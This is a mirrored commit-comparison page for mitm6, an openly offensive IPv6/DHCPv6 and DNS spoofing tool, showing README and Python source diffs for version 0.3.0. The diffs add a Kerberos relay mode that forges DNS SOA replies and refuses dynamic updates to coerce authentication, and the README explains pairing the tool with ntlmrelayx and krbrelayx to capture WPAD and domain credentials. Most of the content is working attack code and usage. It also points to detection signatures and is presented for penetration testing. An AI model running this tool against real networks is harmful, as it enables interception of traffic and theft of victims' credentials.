mirror of
https://github.com/dirkjanm/mitm6.git
synced 2026-11-08 17:11:07 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8e75884ab7 | ||
|
|
a39d645404 | ||
|
|
d4ab522f61 | ||
|
|
fff4328109 | ||
|
|
005d805f18 | ||
|
|
78cf075944 | ||
|
|
2fef1e2ab6 | ||
|
|
f58d06feac | ||
|
|
7184af65da | ||
|
|
a4842cb907 | ||
|
|
13bff135ff | ||
|
|
5cb488a984 | ||
|
|
4e859f06d7 | ||
|
|
4c9a91ed89 | ||
|
|
dc2db89942 | ||
|
|
e3eff3fadb | ||
|
|
c6009633d2 |
No files matched your search
@@ -18,67 +18,61 @@ You can install the latest release from PyPI with `pip install mitm6`, or the la
|
||||
After installation, mitm6 will be available as a command line program called `mitm6`. Since it uses raw packet capture with Scapy, it should be run as root. mitm6 should detect your network settings by default and use your primary interface for its spoofing. The only option you will probably need to specify is the AD `domain` that you are spoofing. For advanced tuning, the following options are available:
|
||||
|
||||
```
|
||||
usage: mitm6.py [-h] [-i INTERFACE] [-l LOCALDOMAIN] [-4 ADDRESS] [-6 ADDRESS]
|
||||
[-m ADDRESS] [-a] [-v] [--debug] [-d DOMAIN] [-b DOMAIN]
|
||||
[-hw DOMAIN] [-hb DOMAIN] [--ignore-nofqnd]
|
||||
usage: mitm6 [-h] [-i INTERFACE] [-l LOCALDOMAIN] [-4 ADDRESS] [-6 ADDRESS] [-m ADDRESS] [-a] [-r TARGET] [-v] [--debug]
|
||||
[-d DOMAIN] [-b DOMAIN] [-hw DOMAIN] [-hb DOMAIN] [--ignore-nofqdn]
|
||||
|
||||
mitm6 - pwning IPv4 via IPv6
|
||||
For help or reporting issues, visit https://github.com/fox-it/mitm6
|
||||
For help or reporting issues, visit https://github.com/dirkjanm/mitm6
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-i INTERFACE, --interface INTERFACE
|
||||
Interface to use (default: autodetect)
|
||||
-l LOCALDOMAIN, --localdomain LOCALDOMAIN
|
||||
Domain name to use as DNS search domain (default: use
|
||||
first DNS domain)
|
||||
Domain name to use as DNS search domain (default: use first DNS domain)
|
||||
-4 ADDRESS, --ipv4 ADDRESS
|
||||
IPv4 address to send packets from (default:
|
||||
autodetect)
|
||||
IPv4 address to send packets from (default: autodetect)
|
||||
-6 ADDRESS, --ipv6 ADDRESS
|
||||
IPv6 link-local address to send packets from (default:
|
||||
autodetect)
|
||||
IPv6 link-local address to send packets from (default: autodetect)
|
||||
-m ADDRESS, --mac ADDRESS
|
||||
Custom mac address - probably breaks stuff (default:
|
||||
mac of selected interface)
|
||||
-a, --no-ra Do not advertise ourselves (useful for networks which
|
||||
detect rogue Router Advertisements)
|
||||
Custom mac address - probably breaks stuff (default: mac of selected interface)
|
||||
-a, --no-ra Do not advertise ourselves (useful for networks which detect rogue Router Advertisements)
|
||||
-r TARGET, --relay TARGET
|
||||
Authentication relay target, will be used as fake DNS server hostname to trigger Kerberos auth
|
||||
-v, --verbose Show verbose information
|
||||
--debug Show debug information
|
||||
|
||||
Filtering options:
|
||||
-d DOMAIN, --domain DOMAIN
|
||||
Domain name to filter DNS queries on (Whitelist
|
||||
principle, multiple can be specified.)
|
||||
-b DOMAIN, --blacklist DOMAIN
|
||||
Domain name to filter DNS queries on (Blacklist
|
||||
principle, multiple can be specified.)
|
||||
-hw DOMAIN, --host-whitelist DOMAIN
|
||||
Hostname (FQDN) to filter DHCPv6 queries on (Whitelist
|
||||
principle, multiple can be specified.)
|
||||
-hb DOMAIN, --host-blacklist DOMAIN
|
||||
Hostname (FQDN) to filter DHCPv6 queries on (Blacklist
|
||||
principle, multiple can be specified.)
|
||||
--ignore-nofqnd Ignore DHCPv6 queries that do not contain the Fully
|
||||
Qualified Domain Name (FQDN) option.
|
||||
Domain name to filter DNS queries on (Allowlist principle, multiple can be specified.)
|
||||
-b DOMAIN, --blocklist DOMAIN, --blacklist DOMAIN
|
||||
Domain name to filter DNS queries on (Blocklist principle, multiple can be specified.)
|
||||
-hw DOMAIN, -ha DOMAIN, --host-allowlist DOMAIN, --host-whitelist DOMAIN
|
||||
Hostname (FQDN) to filter DHCPv6 queries on (Allowlist principle, multiple can be specified.)
|
||||
-hb DOMAIN, --host-blocklist DOMAIN, --host-blacklist DOMAIN
|
||||
Hostname (FQDN) to filter DHCPv6 queries on (Blocklist principle, multiple can be specified.)
|
||||
--ignore-nofqdn Ignore DHCPv6 queries that do not contain the Fully Qualified Domain Name (FQDN) option.
|
||||
```
|
||||
|
||||
You can manually override most of the autodetect options (though overriding the MAC address will break things). If the network has some hardware which blocks or detects rogue Router Advertisement messages, you can add the `--no-ra` flag to not broadcast those. Router Advertisements are not needed for mitm6 to work since it relies mainly on DHCPv6 messages.
|
||||
|
||||
### Filtering options
|
||||
Several filtering options are available to select which hosts you want to attack and spoof. First there are the `--host-whitelist` and `--host-blacklist` options (or `-hw` and `-hb` for short), which take a (partial) domain as argument. Incoming DHCPv6 requests will be filtered against this list. The property checked is the DHCPv6 FQND option, in which the client provides its hostname.
|
||||
The same applies for DNS requests, for this the `--domain` option (or `-d`) is available, where you can supply which domain(s) you want to spoof. Blacklisting is also possible with `--blacklist`/`-b`.
|
||||
Several filtering options are available to select which hosts you want to attack and spoof. First there are the `--host-allowlist` and `--host-blocklist` options (or `-hw` and `-hb` for short), which take a (partial) domain as argument. Incoming DHCPv6 requests will be filtered against this list. The property checked is the DHCPv6 FQND option, in which the client provides its hostname.
|
||||
The same applies for DNS requests, for this the `--domain` option (or `-d`) is available, where you can supply which domain(s) you want to spoof. Blocking specific domains is also possible with `--blocklist`/`-b`. Both parameters can be specified multiple times to include/block multiple domains (for example `-d domain.local -d otherdomain.local -b somehost.domain.local -b somehost.otherdomain.local`).
|
||||
|
||||
For both the host and DNS filtering, simple string matching is performed. So if you choose to reply to `wpad`, it will also reply to queries for `wpad.corpdomain.com`. If you want more specific filtering, use both the whitelist and blacklist options, since the blacklist takes precedence over the whitelist.
|
||||
For both the host and DNS filtering, simple string matching is performed. So if you choose to reply to `wpad`, it will also reply to queries for `wpad.corpdomain.com`. If you want more specific filtering, use both the allowlist and blocklist options, since the blocklist takes precedence over the allowlist.
|
||||
By default the first domain specified will be used as the DNS search domain, if you explicitliy want to specify this domain yourself use the `--localdomain` option.
|
||||
|
||||
## About network impact and restoring the network
|
||||
mitm6 is designed as a penetration testing tool and should thus impact the network as little as possible. This is the main reason mitm6 doesn't implement a full man-in-the-middle attack currently, like we see in for example the SLAAC attack.
|
||||
mitm6 is designed as a penetration testing tool and should thus impact the network as little as possible. This is the main reason mitm6 doesn't implement a full machine-in-the-middle attack currently, like we see in for example the SLAAC attack.
|
||||
To further minimize the impact, the IP addresses assigned have low time-to-live (TTL) values. The lease will expire within 5 minutes when mitm6 is stopped, which will remove the DNS server from the victims configuration.
|
||||
To prevent DNS replies getting cached, all replies are sent with a TTL of 100 seconds, which makes sure the cache is cleared within minutes after the tool exits.
|
||||
|
||||
## Usage with ntlmrelayx
|
||||
mitm6 is designed to be used with ntlmrelayx. You should run the tools next to each other, in this scenario mitm6 will spoof the DNS, causing victims to connect to ntlmrelayx for HTTP and SMB connections. For this you have to make sure to run ntlmrelayx with the `-6` option, which will make it listen on both IPv4 and IPv6. To obtain credentials for WPAD, specify the WPAD hostname to spoof with `-wh HOSTNAME` (any non-existing hostname in the local domain will work since mitm6 is the DNS server). Optionally you can also use the `-wa N` parameter with a number of attempts to prompt for authentication for the WPAD file itself in case you suspect victims do not have the MS16-077 patch applied.
|
||||
|
||||
## Usage with krbrelayx
|
||||
You can also use mitm6 to relay Kerberos authentication, especially via DNS. To do this, use the `--relay` parameter and specify a host that you want to relay to. This host will be impersonated, and mitm6 will try to convince your victims to send authenticated dynamic updates using Kerberos authentication to krbrelayx. More info about this attack is available on the following blog: <https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/>
|
||||
|
||||
## Detection
|
||||
The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6. The signatures are available here: https://gist.github.com/fox-srt/98f29051fe56a1695de8e914c4a2373f
|
||||
+95
-52
@@ -1,5 +1,5 @@
|
||||
from __future__ import unicode_literals
|
||||
from scapy.all import sniff, ls, ARP, IPv6, DNS, DNSRR, Ether, conf, IP, UDP
|
||||
from scapy.all import sniff, ls, ARP, IPv6, DNS, DNSRR, Ether, conf, IP, UDP, DNSRRSOA
|
||||
from twisted.internet import reactor
|
||||
from twisted.internet.protocol import ProcessProtocol, DatagramProtocol
|
||||
from scapy.layers.dhcp6 import *
|
||||
@@ -15,6 +15,7 @@ import netifaces
|
||||
import sys
|
||||
import argparse
|
||||
import socket
|
||||
import builtins
|
||||
|
||||
# Globals
|
||||
pcdict = {}
|
||||
@@ -40,9 +41,15 @@ class Config(object):
|
||||
self.v4addr = args.ipv4
|
||||
if args.ipv6 is None:
|
||||
try:
|
||||
self.v6addr = netifaces.ifaddresses(self.default_if)[netifaces.AF_INET6][0]['addr']
|
||||
self.v6addr = None
|
||||
addrs = netifaces.ifaddresses(self.default_if)[netifaces.AF_INET6]
|
||||
for addr in addrs:
|
||||
if 'fe80::' in addr['addr']:
|
||||
self.v6addr = addr['addr']
|
||||
except KeyError:
|
||||
print('Error: The interface {0} does not have an IPv6 address assigned. Make sure IPv6 is activated on this interface.'.format(self.default_if))
|
||||
self.v6addr = None
|
||||
if not self.v6addr:
|
||||
print('Error: The interface {0} does not have an IPv6 link-local address assigned. Make sure IPv6 is activated on this interface.'.format(self.default_if))
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.v6addr = args.ipv6
|
||||
@@ -65,14 +72,19 @@ class Config(object):
|
||||
self.selfptr = ipaddress.ip_address(str(self.selfaddr)).reverse_pointer + '.'
|
||||
self.ipv6noaddr = random.randint(1,9999)
|
||||
self.ipv6noaddrc = 1
|
||||
# DNS whitelist / blacklist options
|
||||
self.dns_whitelist = [d.lower() for d in args.domain]
|
||||
self.dns_blacklist = [d.lower() for d in args.blacklist]
|
||||
# Hostname (DHCPv6 FQDN) whitelist / blacklist options
|
||||
self.host_whitelist = [d.lower() for d in args.host_whitelist]
|
||||
self.host_blacklist = [d.lower() for d in args.host_blacklist]
|
||||
# Relay target
|
||||
if args.relay:
|
||||
self.relay = args.relay.lower()
|
||||
else:
|
||||
self.relay = None
|
||||
# DNS allowlist / blocklist options
|
||||
self.dns_allowlist = [d.lower() for d in args.domain]
|
||||
self.dns_blocklist = [d.lower() for d in args.blocklist]
|
||||
# Hostname (DHCPv6 FQDN) allowlist / blocklist options
|
||||
self.host_allowlist = [d.lower() for d in args.host_allowlist]
|
||||
self.host_blocklist = [d.lower() for d in args.host_blocklist]
|
||||
# Should DHCPv6 queries that do not specify a FQDN be ignored?
|
||||
self.ignore_nofqnd = args.ignore_nofqnd
|
||||
self.ignore_nofqdn = args.ignore_nofqdn
|
||||
# Local domain to advertise
|
||||
# If no localdomain is specified, use the first dnsdomain
|
||||
if args.localdomain is None:
|
||||
@@ -92,7 +104,11 @@ class Target(object):
|
||||
def __init__(self, mac, host, ipv4=None):
|
||||
self.mac = mac
|
||||
# Make sure the host is in unicode
|
||||
self.host = host.decode("utf-8")
|
||||
try:
|
||||
self.host = host.decode("utf-8")
|
||||
except builtins.AttributeError:
|
||||
# Already in unicode
|
||||
self.host = host
|
||||
if ipv4 is not None:
|
||||
self.ipv4 = ipv4
|
||||
else:
|
||||
@@ -136,7 +152,7 @@ def send_dhcp_advertise(p, basep, target):
|
||||
config.ipv6noaddrc += 1
|
||||
opt = DHCP6OptIAAddress(preflft=300, validlft=300, addr=addr)
|
||||
resp /= DHCP6OptIA_NA(ianaopts=[opt], T1=200, T2=250, iaid=p[DHCP6OptIA_NA].iaid)
|
||||
sendp(resp, verbose=False)
|
||||
sendp(resp, iface=config.default_if, verbose=False)
|
||||
|
||||
def send_dhcp_reply(p, basep):
|
||||
resp = Ether(dst=basep.src)/IPv6(src=config.selfaddr, dst=basep[IPv6].src)/UDP(sport=547, dport=546) #base packet
|
||||
@@ -150,7 +166,7 @@ def send_dhcp_reply(p, basep):
|
||||
try:
|
||||
opt = p[DHCP6OptIAAddress]
|
||||
resp /= DHCP6OptIA_NA(ianaopts=[opt], T1=200, T2=250, iaid=p[DHCP6OptIA_NA].iaid)
|
||||
sendp(resp, verbose=False)
|
||||
sendp(resp, iface=config.default_if, verbose=False)
|
||||
except IndexError:
|
||||
# Some hosts don't send back this layer for some reason, ignore those
|
||||
if config.debug or config.verbose:
|
||||
@@ -164,18 +180,18 @@ def send_dns_reply(p):
|
||||
ip = p[IP]
|
||||
resp = Ether(dst=p.src, src=p.dst)/IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)
|
||||
dns = p[DNS]
|
||||
#only reply to IN, and to messages that dont contain answers
|
||||
# only reply to IN, and to messages that dont contain answers
|
||||
if dns.qd.qclass != 1 or dns.qr != 0:
|
||||
return
|
||||
#Make sure the requested name is in unicode here
|
||||
# Make sure the requested name is in unicode here
|
||||
reqname = dns.qd.qname.decode()
|
||||
#A request
|
||||
# A query
|
||||
if dns.qd.qtype == 1:
|
||||
rdata = config.selfipv4
|
||||
#AAAA request
|
||||
# AAAA query
|
||||
elif dns.qd.qtype == 28:
|
||||
rdata = config.selfaddr
|
||||
#PTR request
|
||||
# PTR query
|
||||
elif dns.qd.qtype == 12:
|
||||
# To reply for PTR requests for our own hostname
|
||||
# comment the return statement
|
||||
@@ -185,13 +201,29 @@ def send_dns_reply(p):
|
||||
rdata = 'attacker.%s' % config.localdomain
|
||||
else:
|
||||
return
|
||||
# SOA query
|
||||
elif dns.qd.qtype == 6 and config.relay:
|
||||
if dns.opcode == 5:
|
||||
if config.verbose or config.debug:
|
||||
print('Dynamic update found, refusing it to trigger auth')
|
||||
resp /= DNS(id=dns.id, qr=1, qd=dns.qd, ns=dns.ns, opcode=5, rcode=5)
|
||||
sendp(resp, verbose=False)
|
||||
else:
|
||||
rdata = config.selfaddr
|
||||
resp /= DNS(id=dns.id, qr=1, qd=dns.qd, nscount=1, arcount=1, ancount=1, an=DNSRRSOA(rrname=dns.qd.qname, ttl=100, mname="%s." % config.relay, rname="mitm6", serial=1337, type=dns.qd.qtype),
|
||||
ns=DNSRR(rrname=dns.qd.qname, ttl=100, rdata=config.relay, type=2),
|
||||
ar=DNSRR(rrname=config.relay, type=1, rclass=1, ttl=300, rdata=config.selfipv4))
|
||||
sendp(resp, verbose=False)
|
||||
if config.verbose or config.debug:
|
||||
print('Sent SOA reply')
|
||||
return
|
||||
#Not handled
|
||||
else:
|
||||
return
|
||||
if should_spoof_dns(reqname):
|
||||
resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=100, rdata=rdata, type=dns.qd.qtype))
|
||||
try:
|
||||
sendp(resp, verbose=False)
|
||||
sendp(resp, iface=config.default_if, verbose=False)
|
||||
except socket.error as e:
|
||||
print('Error sending spoofed DNS')
|
||||
print(e)
|
||||
@@ -212,11 +244,11 @@ def matches_list(value, target_list):
|
||||
|
||||
# Should we spoof the queried name?
|
||||
def should_spoof_dns(dnsname):
|
||||
# If whitelist exists, host should match
|
||||
if config.dns_whitelist and not matches_list(dnsname, config.dns_whitelist):
|
||||
# If allowlist exists, host should match
|
||||
if config.dns_allowlist and not matches_list(dnsname, config.dns_allowlist):
|
||||
return False
|
||||
# If there are any entries in the blacklist, make sure it doesnt match against any
|
||||
if matches_list(dnsname, config.dns_blacklist):
|
||||
# If there are any entries in the blocklist, make sure it doesnt match against any
|
||||
if matches_list(dnsname, config.dns_blocklist):
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -224,16 +256,16 @@ def should_spoof_dns(dnsname):
|
||||
def should_spoof_dhcpv6(fqdn):
|
||||
# If there is no FQDN specified, check if we should reply to empty ones
|
||||
if not fqdn:
|
||||
return not config.ignore_nofqnd
|
||||
# If whitelist exists, host should match
|
||||
if config.host_whitelist and not matches_list(fqdn, config.host_whitelist):
|
||||
return not config.ignore_nofqdn
|
||||
# If allowlist exists, host should match
|
||||
if config.host_allowlist and not matches_list(fqdn, config.host_allowlist):
|
||||
if config.debug:
|
||||
print('Ignoring DHCPv6 packet from %s: FQDN not in whitelist ' % fqdn)
|
||||
print('Ignoring DHCPv6 packet from %s: FQDN not in allowlist ' % fqdn)
|
||||
return False
|
||||
# If there are any entries in the blacklist, make sure it doesnt match against any
|
||||
if matches_list(fqdn, config.host_blacklist):
|
||||
# If there are any entries in the blocklist, make sure it doesnt match against any
|
||||
if matches_list(fqdn, config.host_blocklist):
|
||||
if config.debug:
|
||||
print('Ignoring DHCPv6 packet from %s: FQDN matches blacklist ' % fqdn)
|
||||
print('Ignoring DHCPv6 packet from %s: FQDN matches blocklist ' % fqdn)
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -269,7 +301,7 @@ def parsepacket(p):
|
||||
print('Renew reply sent to %s' % p[DHCP6OptIA_NA].ianaopts[0].addr)
|
||||
if ARP in p:
|
||||
arpp = p[ARP]
|
||||
if arpp.op is arpp.is_at:
|
||||
if arpp.op == 2:
|
||||
#Arp is-at package, update internal arp table
|
||||
arptable[arpp.hwsrc] = arpp.psrc
|
||||
if DNS in p:
|
||||
@@ -284,12 +316,19 @@ def setupFakeDns():
|
||||
addrinfo = socket.getaddrinfo(fulladdr, 53, socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
sock.bind(addrinfo[0][4])
|
||||
sock.setblocking(0)
|
||||
return sock
|
||||
# Bind IPv4 as well
|
||||
sock2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
fulladdr = config.v4addr
|
||||
addrinfo = socket.getaddrinfo(fulladdr, 53, socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock2.bind(addrinfo[0][4])
|
||||
sock2.setblocking(0)
|
||||
return sock, sock2
|
||||
|
||||
def send_ra():
|
||||
# Send a Router Advertisement with the "managed" and "other" flag set, which should cause clients to use DHCPv6 and ask us for addresses
|
||||
p = Ether(dst='33:33:00:00:00:01')/IPv6(dst='ff02::1')/ICMPv6ND_RA(M=1, O=1)
|
||||
sendp(p, verbose=False)
|
||||
# routerlifetime is set to 0 in order to not adverise ourself as a gateway (RFC4861, section 4.2)
|
||||
p = Ether(src=config.selfmac, dst='33:33:00:00:00:01')/IPv6(src=config.selfaddr, dst='ff02::1')/ICMPv6ND_RA(M=1, O=1, routerlifetime=0)
|
||||
sendp(p, iface=config.default_if, verbose=False)
|
||||
|
||||
# Whether packet capturing should stop
|
||||
def should_stop(_):
|
||||
@@ -308,22 +347,23 @@ def print_err(failure):
|
||||
|
||||
def main():
|
||||
global config
|
||||
parser = argparse.ArgumentParser(description='mitm6 - pwning IPv4 via IPv6\nFor help or reporting issues, visit https://github.com/fox-it/mitm6', formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
parser = argparse.ArgumentParser(description='mitm6 - pwning IPv4 via IPv6\nFor help or reporting issues, visit https://github.com/dirkjanm/mitm6', formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
parser.add_argument("-i", "--interface", type=str, metavar='INTERFACE', help="Interface to use (default: autodetect)")
|
||||
parser.add_argument("-l", "--localdomain", type=str, metavar='LOCALDOMAIN', help="Domain name to use as DNS search domain (default: use first DNS domain)")
|
||||
parser.add_argument("-4", "--ipv4", type=str, metavar='ADDRESS', help="IPv4 address to send packets from (default: autodetect)")
|
||||
parser.add_argument("-6", "--ipv6", type=str, metavar='ADDRESS', help="IPv6 link-local address to send packets from (default: autodetect)")
|
||||
parser.add_argument("-m", "--mac", type=str, metavar='ADDRESS', help="Custom mac address - probably breaks stuff (default: mac of selected interface)")
|
||||
parser.add_argument("-a", "--no-ra", action='store_true', help="Do not advertise ourselves (useful for networks which detect rogue Router Advertisements)")
|
||||
parser.add_argument("-r", "--relay", type=str, metavar='TARGET', help="Authentication relay target, will be used as fake DNS server hostname to trigger Kerberos auth")
|
||||
parser.add_argument("-v", "--verbose", action='store_true', help="Show verbose information")
|
||||
parser.add_argument("--debug", action='store_true', help="Show debug information")
|
||||
|
||||
filtergroup = parser.add_argument_group("Filtering options")
|
||||
filtergroup.add_argument("-d", "--domain", action='append', default=[], metavar='DOMAIN', help="Domain name to filter DNS queries on (Whitelist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-b", "--blacklist", action='append', default=[], metavar='DOMAIN', help="Domain name to filter DNS queries on (Blacklist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-hw", "--host-whitelist", action='append', default=[], metavar='DOMAIN', help="Hostname (FQDN) to filter DHCPv6 queries on (Whitelist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-hb", "--host-blacklist", action='append', default=[], metavar='DOMAIN', help="Hostname (FQDN) to filter DHCPv6 queries on (Blacklist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("--ignore-nofqnd", action='store_true', help="Ignore DHCPv6 queries that do not contain the Fully Qualified Domain Name (FQDN) option.")
|
||||
filtergroup.add_argument("-d", "--domain", action='append', default=[], metavar='DOMAIN', help="Domain name to filter DNS queries on (Allowlist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-b", "--blocklist", "--blacklist", action='append', default=[], metavar='DOMAIN', help="Domain name to filter DNS queries on (Blocklist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-hw", "-ha", "--host-allowlist", "--host-whitelist", action='append', default=[], metavar='DOMAIN', help="Hostname (FQDN) to filter DHCPv6 queries on (Allowlist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("-hb", "--host-blocklist", "--host-blacklist", action='append', default=[], metavar='DOMAIN', help="Hostname (FQDN) to filter DHCPv6 queries on (Blocklist principle, multiple can be specified.)")
|
||||
filtergroup.add_argument("--ignore-nofqdn", action='store_true', help="Ignore DHCPv6 queries that do not contain the Fully Qualified Domain Name (FQDN) option.")
|
||||
|
||||
args = parser.parse_args()
|
||||
config = Config(args)
|
||||
@@ -334,22 +374,24 @@ def main():
|
||||
print('IPv6 address: %s' % config.selfaddr)
|
||||
if config.localdomain is not None:
|
||||
print('DNS local search domain: %s' % config.localdomain)
|
||||
if not config.dns_whitelist and not config.dns_blacklist:
|
||||
if not config.dns_allowlist and not config.dns_blocklist:
|
||||
print('Warning: Not filtering on any domain, mitm6 will reply to all DNS queries.\nUnless this is what you want, specify at least one domain with -d')
|
||||
else:
|
||||
if not config.dns_whitelist:
|
||||
print('DNS whitelist: *')
|
||||
if not config.dns_allowlist:
|
||||
print('DNS allowlist: *')
|
||||
else:
|
||||
print('DNS whitelist: %s' % ', '.join(config.dns_whitelist))
|
||||
if config.dns_blacklist:
|
||||
print('DNS blacklist: %s' % ', '.join(config.dns_blacklist))
|
||||
if config.host_whitelist:
|
||||
print('Hostname whitelist: %s' % ', '.join(config.host_whitelist))
|
||||
if config.host_blacklist:
|
||||
print('Hostname blacklist: %s' % ', '.join(config.host_blacklist))
|
||||
print('DNS allowlist: %s' % ', '.join(config.dns_allowlist))
|
||||
if config.relay and len([matching for matching in config.dns_allowlist if matching in config.relay]) == 0:
|
||||
print('Warning: Relay target is specified but the DNS query allowlist does not contain the target name.')
|
||||
if config.dns_blocklist:
|
||||
print('DNS blocklist: %s' % ', '.join(config.dns_blocklist))
|
||||
if config.host_allowlist:
|
||||
print('Hostname allowlist: %s' % ', '.join(config.host_allowlist))
|
||||
if config.host_blocklist:
|
||||
print('Hostname blocklist: %s' % ', '.join(config.host_blocklist))
|
||||
|
||||
#Main packet capture thread
|
||||
d = threads.deferToThread(sniff, filter="ip6 proto \\udp or arp or udp port 53", prn=lambda x: reactor.callFromThread(parsepacket, x), stop_filter=should_stop)
|
||||
d = threads.deferToThread(sniff, iface=config.default_if, filter="ip6 proto \\udp or arp or udp port 53", prn=lambda x: reactor.callFromThread(parsepacket, x), stop_filter=should_stop)
|
||||
d.addErrback(print_err)
|
||||
|
||||
#RA loop
|
||||
@@ -359,8 +401,9 @@ def main():
|
||||
d.addErrback(print_err)
|
||||
|
||||
# Set up DNS
|
||||
dnssock = setupFakeDns()
|
||||
dnssock, dnssock2 = setupFakeDns()
|
||||
reactor.adoptDatagramPort(dnssock.fileno(), socket.AF_INET6, DatagramProtocol())
|
||||
reactor.adoptDatagramPort(dnssock2.fileno(), socket.AF_INET, DatagramProtocol())
|
||||
|
||||
reactor.addSystemEventTrigger('before', 'shutdown', shutdownnotice)
|
||||
reactor.run()
|
||||
|
||||
@@ -7,7 +7,7 @@ else:
|
||||
reqs = ["scapy>=2.4", "twisted", "netifaces"]
|
||||
|
||||
setup(name='mitm6',
|
||||
version='0.2.1',
|
||||
version='0.3.0',
|
||||
description='Pwning IPv4 via IPv6',
|
||||
license='GPLv2',
|
||||
classifiers=[
|
||||
@@ -22,7 +22,7 @@ setup(name='mitm6',
|
||||
],
|
||||
author='Dirk-jan Mollema / Fox-IT',
|
||||
author_email='[email protected]',
|
||||
url='https://github.com/fox-it/mitm6/',
|
||||
url='https://github.com/dirkjanm/mitm6/',
|
||||
packages=['mitm6'],
|
||||
install_requires=reqs,
|
||||
entry_points= {
|
||||
|
||||
Reference in new issue
Block a user